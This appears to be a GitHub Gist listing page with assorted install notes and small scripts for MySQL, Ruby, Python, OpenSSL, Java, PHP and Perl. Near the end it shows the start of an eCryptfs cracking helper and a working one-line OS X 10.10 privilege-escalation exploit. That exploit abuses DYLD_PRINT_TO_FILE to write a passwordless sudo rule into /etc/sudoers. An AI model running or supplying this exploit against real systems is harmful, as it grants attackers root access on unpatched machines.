Skip to content

Instantly share code, notes, and snippets.

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl

You can find more (official) details about subl here: http://www.sublimetext.com/docs/2/osx_command_line.html

Installation

@sh1n0b1
sh1n0b1 / DB.md
Created December 13, 2013 01:10
MySQL & PostgreSQL Installation

MySQL

# Install the database packages
sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev

# Pick a database root password (can be anything), type it and press enter
# Retype the database root password and press enter

# Secure your installation.

sudo mysql_secure_installation

@sh1n0b1
sh1n0b1 / Ruby.md
Created December 13, 2013 01:01
Ruby Installation

Ruby 2.0

Download Ruby and compile it:

mkdir /tmp/ruby && cd /tmp/ruby
curl --progress ftp://ftp.ruby-lang.org/pub/ruby/2.0/ruby-2.0.0-p353.tar.gz | tar xz
cd ruby-2.0.0-p353
./configure --disable-install-rdoc
make

sudo make install

@sh1n0b1
sh1n0b1 / PyRequest.py
Last active December 30, 2015 20:19
Python HTTP Request
import requests, re
URL = 'http://www.google.com'
r = requests.get(URL)
search = re.findall("google", r.text)
print search
# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
@sh1n0b1
sh1n0b1 / gist:5428373
Last active December 16, 2015 11:38
Java ReadFile
import java.io.*;
import java.util.*;
public static void main(String[] args){
readFile(args[0]);
}
public static void readFile(String fileName) throws FileNotFoundException{
File file = new File(fileName);
@sh1n0b1
sh1n0b1 / p12decrypt.php
Created September 30, 2015 00:54
Decrypt strings encrypted by PKCS12 keys
<?php
$p12cert = array();
$file = '[PATH]]';
$c = file_get_contents($file);
if (openssl_pkcs12_read($c, $p12cert, '[REDACTED]') )
{
$pkey = $p12cert['pkey']; //private key
$cert = $p12cert['cert']; //public key
//decrypt the encrypted parameter value
@sh1n0b1
sh1n0b1 / dump.pl
Created September 17, 2015 22:30
pcap SSL packet dump for Wireshark to decrypt - https://supportforums.cisco.com/blog/154046
#!/usr/bin/perl
#Author: Michal Garcarz @ cisco.com
#Date: 15.01.2013
use Net::Frame::Simple;
use Net::Frame::Dump::Offline;
use Net::Frame::Layer::TCP;
use Net::Frame::Layer;
use Net::Frame::Layer::IPv4;
#!/usr/bin/env python
# Helper script for cracking eCryptfs.
#
# Refer to "ecryptfs-utils_104.orig.tar.gz" in case of doubt.
#
# This software is Copyright (c) 2014 Dhiru Kholia <dhiru.kholia at gmail.com> and
# Copyright (c) 2015, NagraVision <sylvain.pelissier at nagra.com>
# and it is hereby released to the general public under the following terms:
#
@sh1n0b1
sh1n0b1 / escalate.sh
Created July 25, 2015 00:13
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
# It should work for OS X 10.10-10.10.4
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s